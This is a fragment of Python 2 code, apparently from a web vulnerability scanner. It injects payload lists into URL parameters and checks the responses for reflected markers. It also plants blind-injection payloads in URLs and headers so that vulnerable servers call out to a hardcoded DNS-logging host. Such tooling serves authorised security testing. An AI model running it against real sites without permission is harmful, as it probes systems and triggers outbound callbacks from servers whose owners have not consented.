def run(self): for url in self.target_urls: signs = [i.get('sign') for i in payloads] p = URLPollution([payload.get('payload') for payload in payloads]) # 分解url parse = Url.url_parse(url) query = parse.query urls = [] for i in p.payload_generator(url, append=False): urls.append(i) print Url.urldecode(i) # Start print 'Payload Number:', len(urls) rs = (grequests.get(u, headers=HEADERS, allow_redirects=False) for u in urls) response = grequests.map(rs, gtimeout=REQUEST_TIMEOUT) for i in response: if i is not None: for payload in payloads: sign = payload.get('sign') name = payload.get('name') if sign in i.content: print Url.urldecode(i.url), sign, name logging.info('{0} => {1}'.format( Url.urldecode(i.url), name))
def run(self): DNSLOG_HOST = 'dseje4.ceye.io' # run for url in self.target_urls: # 随机标记 sign = Random.id_generator(size=10) # DNSLOG 地址 DNSLOG_HOST = '{}.{}'.format(sign, DNSLOG_HOST) # 生成payload payloads = [payload.format(DNSLOG_HOST) for payload in payloads_tpl] # Double Quotes d_quotes = [ '"{}"'.format(payload) for payload in payloads ] payloads.extend(d_quotes) # 生成头部payload headers = {} for k, v in headers_tpl.iteritems(): if k == 'Referer': headers[k] = v.format(url, DNSLOG_HOST) continue headers[k] = v.format(DNSLOG_HOST) p = Pollution(payloads) urls = [] for i in p.payload_generator(url): urls.append(i) print Url.urldecode(i) logging.info('{0} => {1}'.format(url, sign)) print 'Payload Number:', len(urls) # Start rs = (grequests.get(u, headers=headers, allow_redirects=False) for u in urls) grequests.map(rs, gtimeout=BILID_REQUEST_TIMEOUT)